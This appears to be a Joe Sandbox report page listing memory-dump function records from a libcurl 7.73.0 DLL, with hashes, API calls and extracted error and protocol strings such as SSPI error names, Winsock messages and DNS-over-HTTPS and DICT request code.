Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID:
String ID: GetSystemTimePreciseAsFileTime
API String ID: 0-595813830
Opcode ID: e21c0015d90e2512b271b91f1bca6817f02f7ab64be370fcc4abc6f64b7c540b
Instruction ID: 5b089aaf5ad7a7f3100e2cdd04368eafea3b17ead78a864a5a23bd1786642af1
Opcode Fuzzy Hash: e21c0015d90e2512b271b91f1bca6817f02f7ab64be370fcc4abc6f64b7c540b
Instruction Fuzzy Hash: 37E02B3258423473CB1025D15E06FAE7B48CB607F2F040273FE1859241C53EAA51C2F1

Function 6B6C7380 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c68a8d4a0846ebc4b09b0a145e38f1195cbc43887bcb385cbd8187a09426d5f
Instruction ID: ed6a3f09e280bd7adba85991bb0579908b19fc59f4f44f24e774467a4de2f3bc
Opcode Fuzzy Hash: 9c68a8d4a0846ebc4b09b0a145e38f1195cbc43887bcb385cbd8187a09426d5f
Instruction Fuzzy Hash: AFF08222102D2057EF13583D70C1AF3A78BCFE6965FA260A5989C479D2865F740FD7E8

Function 6B721C01 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f24c9c46262d23ec0b753b88de3e3c1e445ebfc2cafafc896c0ae8289ab2ec2b
Instruction ID: be238266719f6d99b4eefa5d30eb4c22bf943e749376e0b935f12eb35eb45b5a
Opcode Fuzzy Hash: f24c9c46262d23ec0b753b88de3e3c1e445ebfc2cafafc896c0ae8289ab2ec2b
Instruction Fuzzy Hash: 88E08C72911238EBCB10DB99CA48A9AF3ECFB44B00B1144E7F511D3640D275DE40C7D0

Function 6B6F9A80 Relevance: 161.3, APIs: 7, Strings: 85, Instructions: 272COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(6B6F8609,00000000,6B6F7A04), ref: 6B6F9A9F

Strings

%s - %s, xrefs: 6B6F9DF5
SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log., xrefs: 6B6F9E88
CRYPT_E_REVOKED, xrefs: 6B6F9DB6
SEC_E_INVALID_PARAMETER, xrefs: 6B6F9BE0
SEC_E_CROSSREALM_DELEGATION_FAILURE, xrefs: 6B6F9B5E
SEC_I_CONTINUE_NEEDED, xrefs: 6B6F9DBC, 6B6F9E1E
SEC_E_INTERNAL_ERROR, xrefs: 6B6F9BCC
SEC_E_TARGET_UNKNOWN, xrefs: 6B6F9D52
SEC_E_SMARTCARD_LOGON_REQUIRED, xrefs: 6B6F9D3E
No error, xrefs: 6B6F9E17
SEC_E_SECPKG_NOT_FOUND, xrefs: 6B6F9D0C
SEC_E_SMARTCARD_CERT_REVOKED, xrefs: 6B6F9D34
SEC_E_ISSUING_CA_UNTRUSTED_KDC, xrefs: 6B6F9BFE
SEC_E_KDC_CERT_EXPIRED, xrefs: 6B6F9C08
SEC_E_NO_IMPERSONATION, xrefs: 6B6F9C8A
SEC_E_KDC_INVALID_REQUEST, xrefs: 6B6F9C1C
SEC_E_ENCRYPT_FAILURE, xrefs: 6B6F9B9A
SEC_E_UNSUPPORTED_PREAUTH, xrefs: 6B6F9D8E
SEC_E_PKINIT_CLIENT_FAILURE, xrefs: 6B6F9CD0
SEC_E_BAD_BINDINGS, xrefs: 6B6F9B04
SEC_E_CERT_WRONG_USAGE, xrefs: 6B6F9B4A
SEC_I_COMPLETE_NEEDED, xrefs: 6B6F9E45
SEC_E_UNFINISHED_CONTEXT_DELETED, xrefs: 6B6F9D70
SEC_E_WRONG_CREDENTIAL_HANDLE, xrefs: 6B6F9DA2
SEC_E_STRONG_CRYPTO_NOT_SUPPORTED, xrefs: 6B6F9D48
%s (0x%08X), xrefs: 6B6F9DBD
SEC_I_RENEGOTIATE, xrefs: 6B6F9E68
SEC_E_REVOCATION_OFFLINE_KDC, xrefs: 6B6F9D02
SEC_E_NO_PA_DATA, xrefs: 6B6F9CA8
SEC_E_KDC_UNABLE_TO_REFER, xrefs: 6B6F9C26
SEC_E_OUT_OF_SEQUENCE, xrefs: 6B6F9CC6
SEC_E_INVALID_HANDLE, xrefs: 6B6F9BD6
SEC_I_CONTEXT_EXPIRED, xrefs: 6B6F9E4C
SEC_E_UNKNOWN_CREDENTIALS, xrefs: 6B6F9D7A
SEC_E_NO_IP_ADDRESSES, xrefs: 6B6F9C94
SEC_E_ILLEGAL_MESSAGE, xrefs: 6B6F9BA4
SEC_E_SHUTDOWN_IN_PROGRESS, xrefs: 6B6F9D20
SEC_I_SIGNATURE_NEEDED, xrefs: 6B6F9E6F
SEC_E_ISSUING_CA_UNTRUSTED, xrefs: 6B6F9BF4
SEC_E_ALGORITHM_MISMATCH, xrefs: 6B6F9AFA
SEC_E_SECURITY_QOS_FAILED, xrefs: 6B6F9D16
SEC_E_NOT_OWNER, xrefs: 6B6F9C6C
SEC_E_KDC_UNKNOWN_ETYPE, xrefs: 6B6F9C30
SEC_E_CRYPTO_SYSTEM_INVALID, xrefs: 6B6F9B68
SEC_I_NO_LSA_CONTEXT, xrefs: 6B6F9E61
SEC_I_LOCAL_LOGON, xrefs: 6B6F9E5A
SEC_E_INCOMPLETE_MESSAGE, xrefs: 6B6F9BB8
SEC_I_INCOMPLETE_CREDENTIALS, xrefs: 6B6F9E53
SEC_E_REVOCATION_OFFLINE_C, xrefs: 6B6F9CF8
SEC_E_QOP_NOT_SUPPORTED, xrefs: 6B6F9CEE
SEC_E_BAD_PKGID, xrefs: 6B6F9B0E
SEC_E_MULTIPLE_ACCOUNTS, xrefs: 6B6F9C58
SEC_E_LOGON_DENIED, xrefs: 6B6F9C3A
SEC_E_NO_TGT_REPLY, xrefs: 6B6F9CBC
SEC_E_DOWNGRADE_DETECTED, xrefs: 6B6F9B90
SEC_E_PKINIT_NAME_MISMATCH, xrefs: 6B6F9CDA
SEC_E_DELEGATION_POLICY, xrefs: 6B6F9B7C
SEC_E_CANNOT_INSTALL, xrefs: 6B6F9B22
SEC_E_INSUFFICIENT_MEMORY, xrefs: 6B6F9BC2
SEC_E_MESSAGE_ALTERED, xrefs: 6B6F9C4E
SEC_E_UNSUPPORTED_FUNCTION, xrefs: 6B6F9D84
SEC_E_TIME_SKEW, xrefs: 6B6F9D5C
SEC_E_POLICY_NLTM_ONLY, xrefs: 6B6F9CE4
SEC_E_DELEGATION_REQUIRED, xrefs: 6B6F9B86
SEC_E_INCOMPLETE_CREDENTIALS, xrefs: 6B6F9BAE
SEC_E_NO_CREDENTIALS, xrefs: 6B6F9C80
SEC_E_MUST_BE_KDC, xrefs: 6B6F9C62
SEC_E_CONTEXT_EXPIRED, xrefs: 6B6F9B54
SEC_E_MAX_REFERRALS_EXCEEDED, xrefs: 6B6F9C44
SEC_E_CANNOT_PACK, xrefs: 6B6F9B2C
SEC_E_BUFFER_TOO_SMALL, xrefs: 6B6F9B18
SEC_E_NO_S4U_PROT_SUPPORT, xrefs: 6B6F9CB2
Unknown error, xrefs: 6B6F9E76
SEC_E_KDC_CERT_REVOKED, xrefs: 6B6F9C12
SEC_E_CERT_EXPIRED, xrefs: 6B6F9B36
SEC_E_WRONG_PRINCIPAL, xrefs: 6B6F9DAC
SEC_E_SMARTCARD_CERT_EXPIRED, xrefs: 6B6F9D2A
SEC_I_COMPLETE_AND_CONTINUE, xrefs: 6B6F9E3E
SEC_E_INVALID_TOKEN, xrefs: 6B6F9BEA
SEC_E_DECRYPT_FAILURE, xrefs: 6B6F9B72
SEC_E_UNTRUSTED_ROOT, xrefs: 6B6F9D98
SEC_E_NO_AUTHENTICATING_AUTHORITY, xrefs: 6B6F9C76
SEC_E_NO_KERB_KEY, xrefs: 6B6F9C9E
SEC_E_CERT_UNKNOWN, xrefs: 6B6F9B40
SEC_E_TOO_MANY_PRINCIPALS, xrefs: 6B6F9D66

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLast
String ID: %s (0x%08X)$%s - %s$CRYPT_E_REVOKED$No error$SEC_E_ALGORITHM_MISMATCH$SEC_E_BAD_BINDINGS$SEC_E_BAD_PKGID$SEC_E_BUFFER_TOO_SMALL$SEC_E_CANNOT_INSTALL$SEC_E_CANNOT_PACK$SEC_E_CERT_EXPIRED$SEC_E_CERT_UNKNOWN$SEC_E_CERT_WRONG_USAGE$SEC_E_CONTEXT_EXPIRED$SEC_E_CROSSREALM_DELEGATION_FAILURE$SEC_E_CRYPTO_SYSTEM_INVALID$SEC_E_DECRYPT_FAILURE$SEC_E_DELEGATION_POLICY$SEC_E_DELEGATION_REQUIRED$SEC_E_DOWNGRADE_DETECTED$SEC_E_ENCRYPT_FAILURE$SEC_E_ILLEGAL_MESSAGE$SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log.$SEC_E_INCOMPLETE_CREDENTIALS$SEC_E_INCOMPLETE_MESSAGE$SEC_E_INSUFFICIENT_MEMORY$SEC_E_INTERNAL_ERROR$SEC_E_INVALID_HANDLE$SEC_E_INVALID_PARAMETER$SEC_E_INVALID_TOKEN$SEC_E_ISSUING_CA_UNTRUSTED$SEC_E_ISSUING_CA_UNTRUSTED_KDC$SEC_E_KDC_CERT_EXPIRED$SEC_E_KDC_CERT_REVOKED$SEC_E_KDC_INVALID_REQUEST$SEC_E_KDC_UNABLE_TO_REFER$SEC_E_KDC_UNKNOWN_ETYPE$SEC_E_LOGON_DENIED$SEC_E_MAX_REFERRALS_EXCEEDED$SEC_E_MESSAGE_ALTERED$SEC_E_MULTIPLE_ACCOUNTS$SEC_E_MUST_BE_KDC$SEC_E_NOT_OWNER$SEC_E_NO_AUTHENTICATING_AUTHORITY$SEC_E_NO_CREDENTIALS$SEC_E_NO_IMPERSONATION$SEC_E_NO_IP_ADDRESSES$SEC_E_NO_KERB_KEY$SEC_E_NO_PA_DATA$SEC_E_NO_S4U_PROT_SUPPORT$SEC_E_NO_TGT_REPLY$SEC_E_OUT_OF_SEQUENCE$SEC_E_PKINIT_CLIENT_FAILURE$SEC_E_PKINIT_NAME_MISMATCH$SEC_E_POLICY_NLTM_ONLY$SEC_E_QOP_NOT_SUPPORTED$SEC_E_REVOCATION_OFFLINE_C$SEC_E_REVOCATION_OFFLINE_KDC$SEC_E_SECPKG_NOT_FOUND$SEC_E_SECURITY_QOS_FAILED$SEC_E_SHUTDOWN_IN_PROGRESS$SEC_E_SMARTCARD_CERT_EXPIRED$SEC_E_SMARTCARD_CERT_REVOKED$SEC_E_SMARTCARD_LOGON_REQUIRED$SEC_E_STRONG_CRYPTO_NOT_SUPPORTED$SEC_E_TARGET_UNKNOWN$SEC_E_TIME_SKEW$SEC_E_TOO_MANY_PRINCIPALS$SEC_E_UNFINISHED_CONTEXT_DELETED$SEC_E_UNKNOWN_CREDENTIALS$SEC_E_UNSUPPORTED_FUNCTION$SEC_E_UNSUPPORTED_PREAUTH$SEC_E_UNTRUSTED_ROOT$SEC_E_WRONG_CREDENTIAL_HANDLE$SEC_E_WRONG_PRINCIPAL$SEC_I_COMPLETE_AND_CONTINUE$SEC_I_COMPLETE_NEEDED$SEC_I_CONTEXT_EXPIRED$SEC_I_CONTINUE_NEEDED$SEC_I_INCOMPLETE_CREDENTIALS$SEC_I_LOCAL_LOGON$SEC_I_NO_LSA_CONTEXT$SEC_I_RENEGOTIATE$SEC_I_SIGNATURE_NEEDED$Unknown error
API String ID: 1452528299-1081713384
Opcode ID: e948db290bbc8d0a72c552edae0429881390f1c0037f319d7eea48625e255475
Instruction ID: 18cb16af341e6423d3a4ded4d9fb5863a8eba9a3ecd7422ceaadbf96e0a3779e
Opcode Fuzzy Hash: e948db290bbc8d0a72c552edae0429881390f1c0037f319d7eea48625e255475
Instruction Fuzzy Hash: D091EFF0689924D7C6308D5C9BC15D5726F6F02BC9B0A4962F9238F2ABC62DCD4747A3

Function 6B6FA820 Relevance: 89.4, APIs: 1, Strings: 50, Instructions: 139COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 6B6FAA39

Strings

Bad argument, xrefs: 6B6FA884
Socket has been shut down, xrefs: 6B6FA97E
Descriptor is not a socket, xrefs: 6B6FA8B6
Not empty, xrefs: 6B6FA9C5
Connection was reset, xrefs: 6B6FA956
Operation not supported, xrefs: 6B6FA8FC
Bad protocol, xrefs: 6B6FA8D4
No buffer space, xrefs: 6B6FA960
Call would block, xrefs: 6B6FA8A2
Need destination address, xrefs: 6B6FA8C0
Invalid arguments, xrefs: 6B6FA88E
Socket is already connected, xrefs: 6B6FA96A
Network unreachable, xrefs: 6B6FA938
Bad quota, xrefs: 6B6FA9DA
Connection was aborted, xrefs: 6B6FA94C
Too many users, xrefs: 6B6FA9D3
Process limit reached, xrefs: 6B6FA9CC
Bad access, xrefs: 6B6FA87A
No data record of requested type, xrefs: 6B6FAA23
Call interrupted, xrefs: 6B6FA866
Connection refused, xrefs: 6B6FA99C
Winsock version not supported, xrefs: 6B6FAA04
Too many references, xrefs: 6B6FA988
Blocking call in progress, xrefs: 6B6FA8AC
Remote error, xrefs: 6B6FA9E8
Bad file, xrefs: 6B6FA870
Disconnected, xrefs: 6B6FA9EF
Host not found, try again, xrefs: 6B6FAA31
Host not found, xrefs: 6B6FAA0B
Socket is not connected, xrefs: 6B6FA974
Address family not supported, xrefs: 6B6FA906
Loop??, xrefs: 6B6FA9A6
Something is stale, xrefs: 6B6FA9E1
Protocol family not supported, xrefs: 6B6FA910
Winsock library is not ready, xrefs: 6B6FA9F6
Socket is unsupported, xrefs: 6B6FA8F2
Name too long, xrefs: 6B6FA9B0
Protocol is unsupported, xrefs: 6B6FA8E8
Out of file descriptors, xrefs: 6B6FA898
Network has been reset, xrefs: 6B6FA942
Address already in use, xrefs: 6B6FA91A
Bad message size, xrefs: 6B6FA8CA
Host down, xrefs: 6B6FA9B7
Unrecoverable error in call to nameserver, xrefs: 6B6FAA2A, 6B6FAA37
Host unreachable, xrefs: 6B6FA9BE
Winsock library not initialised, xrefs: 6B6FA9FD
Timed out, xrefs: 6B6FA992
Address not available, xrefs: 6B6FA924
Protocol option is unsupported, xrefs: 6B6FA8DE
Network down, xrefs: 6B6FA92E

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: _strncpy
String ID: Address already in use$Address family not supported$Address not available$Bad access$Bad argument$Bad file$Bad message size$Bad protocol$Bad quota$Blocking call in progress$Call interrupted$Call would block$Connection refused$Connection was aborted$Connection was reset$Descriptor is not a socket$Disconnected$Host down$Host not found$Host not found, try again$Host unreachable$Invalid arguments$Loop??$Name too long$Need destination address$Network down$Network has been reset$Network unreachable$No buffer space$No data record of requested type$Not empty$Operation not supported$Out of file descriptors$Process limit reached$Protocol family not supported$Protocol is unsupported$Protocol option is unsupported$Remote error$Socket has been shut down$Socket is already connected$Socket is not connected$Socket is unsupported$Something is stale$Timed out$Too many references$Too many users$Unrecoverable error in call to nameserver$Winsock library is not ready$Winsock library not initialised$Winsock version not supported
API String ID: 2961919466-3442644082
Opcode ID: 1540ed2826ea47ff9126fbfbed99597cf66a80b85943dec6d40a9e6e94c42374
Instruction ID: b10f97e32fc5da0e665f3331dba07784e358bf4e770f8bbd3c4eac74134c313e
Opcode Fuzzy Hash: 1540ed2826ea47ff9126fbfbed99597cf66a80b85943dec6d40a9e6e94c42374
Instruction Fuzzy Hash: 554163A138C3298BA234081D57122D3213F6702A90784EDBBB984EF352F41FD84F4396

Function 6B6EE610 Relevance: 61.7, APIs: 33, Strings: 2, Instructions: 499COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B6EE683
curl_maprintf.LIBCURL(%s?dns=%s,00000000,?,?,?,?,?,?,00000000,?,?,?), ref: 6B6EE753
curl_easy_setopt.LIBCURL(00000000,00002712,00000000,?,?,?,?,00000000,?,?,?), ref: 6B6EE806
curl_easy_setopt.LIBCURL(00000000,00004E2B,6B6EE5E0,?,?,?,?,?,?,?,00000000,?,?,?), ref: 6B6EE825
curl_easy_setopt.LIBCURL(00000000,00002711,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6B6EE849
curl_easy_setopt.LIBCURL(00000000,0000271F,?), ref: 6B6EE86F
curl_easy_setopt.LIBCURL(00000000,0000003C,?), ref: 6B6EE88C
curl_easy_setopt.LIBCURL(00000000,00002727,?), ref: 6B6EE8A9
curl_easy_setopt.LIBCURL(00000000,000000B5,00000002), ref: 6B6EE8C5
curl_easy_setopt.LIBCURL(00000000,0000009B,?), ref: 6B6EE8E2
curl_easy_setopt.LIBCURL(00000000,00000029,00000001), ref: 6B6EE903
curl_easy_setopt.LIBCURL(00000000,00000063,00000001), ref: 6B6EE925
curl_easy_setopt.LIBCURL(00000000,000000E9,00000001), ref: 6B6EE94A
curl_easy_setopt.LIBCURL(00000000,00000051,00000002), ref: 6B6EE96C
curl_easy_setopt.LIBCURL(00000000,000000F9,00000002), ref: 6B6EE991
curl_easy_setopt.LIBCURL(00000000,000000F8,00000001), ref: 6B6EE9B6
curl_easy_setopt.LIBCURL(00000000,00002806,?), ref: 6B6EE9DB
curl_easy_setopt.LIBCURL(00000000,00002814,?), ref: 6B6EEA00
curl_easy_setopt.LIBCURL(00000000,00000105,00000008), ref: 6B6EEA32
curl_easy_setopt.LIBCURL(00000000,00002807,?), ref: 6B6EEA57
curl_easy_setopt.LIBCURL(00000000,00000040,00000001), ref: 6B6EEA79
curl_easy_setopt.LIBCURL(00000000,000000E8,00000001), ref: 6B6EEA9E
curl_easy_setopt.LIBCURL(00000000,00002751,?), ref: 6B6EEAC3
curl_easy_setopt.LIBCURL(00000000,00002771,?), ref: 6B6EEAE8
curl_easy_setopt.LIBCURL(00000000,000027B9,?), ref: 6B6EEB0D
curl_easy_setopt.LIBCURL(00000000,000000AC,00000001), ref: 6B6EEB32
curl_easy_setopt.LIBCURL(00000000,0000275C,?), ref: 6B6EEB57
curl_easy_setopt.LIBCURL(00000000,0000275D,?), ref: 6B6EEB7C
curl_easy_setopt.LIBCURL(00000000,000000D8,00000008), ref: 6B6EEBAE
curl_easy_setopt.LIBCURL(00000000,00004E8C,?), ref: 6B6EEBD3
curl_easy_setopt.LIBCURL(00000000,0000277D,?), ref: 6B6EEBF8
curl_easy_setopt.LIBCURL(00000000,0000283A,?), ref: 6B6EEC1D
curl_multi_add_handle.LIBCURL(?,00000000), ref: 6B6EEC4E

Strings

Failed to encode DOH packet [%d], xrefs: 6B6EE7A3
%s?dns=%s, xrefs: 6B6EE74E

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_easy_setopt$___from_strstr_to_strchrcurl_maprintfcurl_multi_add_handle
String ID: %s?dns=%s$Failed to encode DOH packet [%d]
API String ID: 667061265-3030351490
Opcode ID: a22d997916c36ad3c20ce99d08b5a1a96d8e00a63b6c688175f4714f654dbcc7
Instruction ID: a89c8b624700f70d188bbc86a5223f05b78fbdb8419fa4a9fe876ba460f7344b
Opcode Fuzzy Hash: a22d997916c36ad3c20ce99d08b5a1a96d8e00a63b6c688175f4714f654dbcc7
Instruction Fuzzy Hash: E6F13AF1E49311BBEF228A70CD42B8A77A6AF00750F0501A1ED547B391D7AE8E52C7E1

Function 6B6ED000 Relevance: 47.5, APIs: 19, Strings: 8, Instructions: 204COMMON

Download Yara Rule

APIs

curl_msnprintf.LIBCURL(?,00000006,%5I64d,?,?,71935E00,6B6D1696,?,6B6ED8FE,0B2083C7,00000000,?), ref: 6B6ED02A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED053
curl_msnprintf.LIBCURL(?,00000006,%4I64dk,00000000,?,?,?,00000400,00000000,71935E00,6B6D1696,?,6B6ED8FE,0B2083C7,00000000,?), ref: 6B6ED065
__allrem.LIBCMT ref: 6B6ED08A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED098
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED0A8
curl_msnprintf.LIBCURL(?,00000006,%2I64d.%0I64dM,00000000,?,?,?,00100000,00000000,00000000,?,00000000,?,00019999,00000000,?), ref: 6B6ED0BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED0E0
curl_msnprintf.LIBCURL(?,00000006,%4I64dM,00000000,?,?,?,00100000,00000000,71935E00,6B6D1696,?,6B6ED8FE,0B2083C7,00000000,?), ref: 6B6ED0F2
__allrem.LIBCMT ref: 6B6ED114
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED132
curl_msnprintf.LIBCURL(?,00000006,%2I64d.%0I64dG,00000000,?,?,?,40000000,00000000,00000000,?,00000000,?,06666666,00000000,?), ref: 6B6ED144
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED169
curl_msnprintf.LIBCURL(?,00000006,%4I64dG,00000000,?,?,?,40000000,00000000,71935E00,6B6D1696,?,6B6ED8FE,0B2083C7,00000000,?), ref: 6B6ED17B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED1A0
curl_msnprintf.LIBCURL(?,00000006,%4I64dT,00000000,?,?,?,00000000,00000100,71935E00,6B6D1696,?,6B6ED8FE,0B2083C7,00000000,?), ref: 6B6ED1B2
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED1C9
curl_msnprintf.LIBCURL(?,00000006,%4I64dP,00000000,?,?,?,00000000,00040000,71935E00,6B6D1696,?,6B6ED8FE,0B2083C7,00000000,?), ref: 6B6ED1DB

Strings

%4I64dM, xrefs: 6B6ED0EA
%4I64dk, xrefs: 6B6ED05D
%5I64d, xrefs: 6B6ED022
%4I64dT, xrefs: 6B6ED1AA
%4I64dP, xrefs: 6B6ED1D3
%2I64d.%0I64dG, xrefs: 6B6ED13C
%2I64d.%0I64dM, xrefs: 6B6ED0B2
%4I64dG, xrefs: 6B6ED173

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$curl_msnprintf$__allrem
String ID: %2I64d.%0I64dG$%2I64d.%0I64dM$%4I64dG$%4I64dM$%4I64dP$%4I64dT$%4I64dk$%5I64d
API String ID: 3299120379-2102732564
Opcode ID: 09856a2576b86e61cd0282bcf7489cc1b07a58a646f57b61b35e4f2128f1b02e
Instruction ID: 3683cb1c6079ac8106604fef5f754f9c2917166458aa031fecde3dbc0d4b7674
Opcode Fuzzy Hash: 09856a2576b86e61cd0282bcf7489cc1b07a58a646f57b61b35e4f2128f1b02e
Instruction Fuzzy Hash: 6341D3E7BC666436E63068682C12FEF232DDBC1B59F150429FB08BB181965C691343FD

Function 6B6C9190 Relevance: 35.3, APIs: 8, Strings: 12, Instructions: 277COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B6C9245
___from_strstr_to_strchr.LIBCMT ref: 6B6C92AB
___from_strstr_to_strchr.LIBCMT ref: 6B6C92BD
___from_strstr_to_strchr.LIBCMT ref: 6B6C92D1
___from_strstr_to_strchr.LIBCMT ref: 6B6C9364
___from_strstr_to_strchr.LIBCMT ref: 6B6C9376
___from_strstr_to_strchr.LIBCMT ref: 6B6C938A
___from_strstr_to_strchr.LIBCMT ref: 6B6C939F

Strings

CLIENT libcurl 7.73.0DEFINE %s %sQUIT, xrefs: 6B6C9326
/M:, xrefs: 6B6C91D4
/DEFINE:, xrefs: 6B6C9204
CLIENT libcurl 7.73.0MATCH %s %s %sQUIT, xrefs: 6B6C940B
/MATCH:, xrefs: 6B6C91B6
/FIND:, xrefs: 6B6C91EC
Failed sending DICT request, xrefs: 6B6C928F, 6B6C934A, 6B6C942D
lookup word is missing, xrefs: 6B6C92EA, 6B6C93B7
CLIENT libcurl 7.73.0%sQUIT, xrefs: 6B6C9272
/D:, xrefs: 6B6C921C
default, xrefs: 6B6C92F8, 6B6C9310, 6B6C93C7, 6B6C93E8
/LOOKUP:, xrefs: 6B6C9230

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ___from_strstr_to_strchr
String ID: /D:$/DEFINE:$/FIND:$/LOOKUP:$/M:$/MATCH:$CLIENT libcurl 7.73.0%sQUIT$CLIENT libcurl 7.73.0DEFINE %s %sQUIT$CLIENT libcurl 7.73.0MATCH %s %s %sQUIT$Failed sending DICT request$default$lookup word is missing
API String ID: 601868998-3098048912
Opcode ID: 57b62015b3da2a9492dd9b129731ce53d0c4faadc05a2fbbb7698151238e12e4
Instruction ID: 2deffe292048f0bccb23b42d92d3e7cbda79915d41f72bf752199a02c0f08670
